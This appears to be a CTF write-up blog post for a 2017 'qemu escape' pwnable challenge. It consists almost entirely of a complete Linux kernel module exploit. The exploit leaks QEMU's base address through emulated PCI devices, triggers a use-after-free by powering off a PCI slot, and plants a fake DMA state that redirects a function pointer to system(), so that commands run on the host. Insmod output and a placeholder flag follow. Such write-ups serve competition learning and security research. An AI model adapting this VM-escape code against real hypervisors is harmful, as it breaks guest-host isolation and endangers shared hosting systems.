Category : pwnable
Summary : qemu escape
Exploit
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/fcntl.h>
#include <asm/uaccess.h>
#include <asm/io.h>
#include <linux/delay.h>
#define IOMEM_A 0xfe900000
#define IOMEM_B 0xfea00000
#define IOPORT_A 0xc000
#define IOPORT_B 0xc100
#define MMIO_SRC 0x04
#define MMIO_DST 0x08
#define MMIO_COPY 0x20
#define MMIO_CMD 0x24
#define MMIO_TIMER 0x80
#define MMIO_EXPIRE_LO 0x88
#define MMIO_EXPIRE_HI 0x8c
#define LINEAR_INIT 0x0
#define LINEAR_COPY 0x0
#define LINEAR_SRC 0x4
#define LINEAR_DATA 0x5
#define LINEAR_LEN 0x8
#define LINEAR_SR_ADDR 0x9
#define LINEAR_SR_REF 0xa
#define LINEAR_P 0xb
#define LINEAR_N 0xc
#define LINEAR_TIMER 0xd
#define virt_to_phys(address) (__pa(address))
#define phys_to_virt(address) (__va(address))
MODULE_AUTHOR("pwn3r");
MODULE_DESCRIPTION("Escape");
MODULE_LICENSE("pwn3r");
struct dma_state{
uint64_t src;
uint64_t dst;
uint64_t cnt;
uint64_t cmd;
uint64_t phys_mem_read;
uint64_t phys_mem_write;
uint8_t buf[768];
};
uint64_t tencent_linear_read(uint32_t port, uint64_t hwaddr){
uint64_t out = 0;
out = inl(port + hwaddr);
return out;
}
void tencent_linear_write(uint32_t port, uint64_t hwaddr, uint64_t value, uint32_t length){
switch(length){
case 1:
outb((uint8_t)value, port + hwaddr);
break;
case 2:
outw((uint16_t)value, port + hwaddr);
break;
case 4:
outl((uint32_t)value, port + hwaddr);
break;
}
}
uint64_t tencent_mmio_read(uint64_t iomem, uint64_t hwaddr, uint32_t length){
uint64_t out;
switch(length){
case 1:
out = readb(iomem+hwaddr);
break;
case 2:
out = readw(iomem+hwaddr);
break;
case 4:
out = readl(iomem+hwaddr);
break;
case 8:
default:
out = readq(iomem+hwaddr);
}
return out;
}
void tencent_mmio_write(uint64_t iomem, uint64_t hwaddr, uint64_t value, uint32_t length){
switch(length){
case 1:
writeb(value, iomem+hwaddr);
break;
case 2:
writew(value, iomem+hwaddr);
break;
case 4:
writel(value, iomem+hwaddr);
break;
case 8:
default:
writeq(value, iomem+hwaddr);
}
}
void tencent_uninit_A(void){
struct file *filp = NULL;
char buf[2] = "0";
mm_segment_t oldfs;
int err = 0;
loff_t pos;
oldfs = get_fs();
set_fs(get_ds());
filp = filp_open("/sys/bus/pci/slots/4/power", O_RDWR, 0644);
if (IS_ERR(filp)) {
err = PTR_ERR(filp);
printk("[-] Cannot disable pci 4\n");
}
vfs_write(filp, buf, 2, &pos);
filp_close(filp, NULL);
set_fs(oldfs);
}
static int __init exploit_init(void)
{
char buf[0x1000];
uint64_t pie_base, system_plt;
uint64_t iomem_a, iomem_b;
struct dma_state fake_dstate;
memset(buf, 0x90, 0x1000);
// init state->dma_state
tencent_linear_read(IOPORT_A, LINEAR_INIT);
tencent_linear_read(IOPORT_B, LINEAR_INIT);
iomem_a = ioremap(IOMEM_A, 0x100000);
iomem_b = ioremap(IOMEM_B, 0x100000);
// stateA->sr[5] = 3
tencent_linear_write(IOPORT_A, LINEAR_SR_ADDR, 5, 1);
tencent_linear_write(IOPORT_A, LINEAR_SR_REF, 3, 1);
// stateB->sr[5] = 3
tencent_linear_write(IOPORT_B, LINEAR_SR_ADDR, 5, 1);
tencent_linear_write(IOPORT_B, LINEAR_SR_REF, 3, 1);
/* leak pie_base */
tencent_mmio_write(iomem_a, MMIO_DST, virt_to_phys(buf), 4);
tencent_linear_write(IOPORT_A, LINEAR_LEN, (0x1180+0x30) - 0xe70, 4);
tencent_mmio_write(iomem_a, MMIO_COPY, 0, 4);
pie_base = *((uint64_t *)&buf[(0x1180+0x28) - 0xe70]) - 0x5c143f;
system_plt = pie_base + 0x1fe158;
/*
gdb-peda$ x/60a 0x5555580d4c40 + 0x1180
0x5555580d5dc0: 0x0 0x51
0x5555580d5dd0: 0x5555580d5e20 0x5555580d5e40
0x5555580d5de0: 0x0 0x555555b1543f <property_get_bool>
*/
printk("pie_base : %p\n", pie_base);
/* stateA->dma_buf[:13] = "cat flag.txt"; */
memcpy(buf, "cat flag", 9);
tencent_mmio_write(iomem_a, MMIO_SRC, virt_to_phys(buf), 4);
tencent_linear_write(IOPORT_A, LINEAR_LEN, 9, 4);
tencent_mmio_read(iomem_a, MMIO_COPY, 4);
// stateA->sr[129] = 1
tencent_linear_write(IOPORT_A, LINEAR_SR_ADDR, 129, 1);
tencent_linear_write(IOPORT_A, LINEAR_SR_REF, 1, 1);
// timer(1)
tencent_mmio_write(iomem_a, MMIO_EXPIRE_LO, 1000000000 * 1, 4);
tencent_mmio_write(iomem_a, MMIO_TIMER, 0, 4);
fake_dstate.src = 0;
fake_dstate.dst = 0;
fake_dstate.cnt = 0;
fake_dstate.cmd = 0;
fake_dstate.phys_mem_read = 0;
fake_dstate.phys_mem_write = system_plt;
memset(&fake_dstate.buf, 0, 768);
// stateB->src = fake_dstate; stateB->dst = buf; stateB->dma_len = 0x330;
tencent_mmio_write(iomem_b, MMIO_SRC, virt_to_phys(&fake_dstate), 4);
tencent_mmio_write(iomem_b, MMIO_DST, virt_to_phys(buf), 4);
tencent_linear_write(IOPORT_B, LINEAR_LEN, 0x330, 4);
// free stateA->dma_state
tencent_uninit_A();
// stateA->dma_state = stateB->buf = g_malloc(0x330);
// stateA->dam_state = fake_dstate;
tencent_linear_write(IOPORT_B, LINEAR_COPY, 0x0, 1);
mdelay(1000);
return 0;
}
static void __exit exploit_cleanup(void)
{
iounmap(iomem_a);
iounmap(iomem_b);
}
module_init(exploit_init);
module_exit(exploit_cleanup);
# cat file | base64 -d > exploit.ko
# insmod exploit.ko
[ 25.881252] pwn3r: loading out-of-tree module taints kernel.
[ 25.882120] pwn3r: module license 'pwn3r' taints kernel.
[ 25.882559] Disabling lock debugging due to kernel taint
[ 25.936876] pwn3r: module verification failed: signature and/or required key missing - tainting kernel
[ 26.031904] pie_base : 000055edb7cd2000
CTF{THIS_IS_FLAG}
'CTF > 2017' 카테고리의 다른 글
HITB GSEC 2017 - babyqemu (0) | 2018.12.03 |
---|---|
XCTF FINAL 2017 - xmail (0) | 2018.10.06 |
XCTF FINAL 2017 - network (0) | 2018.10.06 |
CODEGATE 2017 QUAL - js_world (0) | 2018.09.26 |
CODEGATE 2017 FINAL - petshop (0) | 2017.06.04 |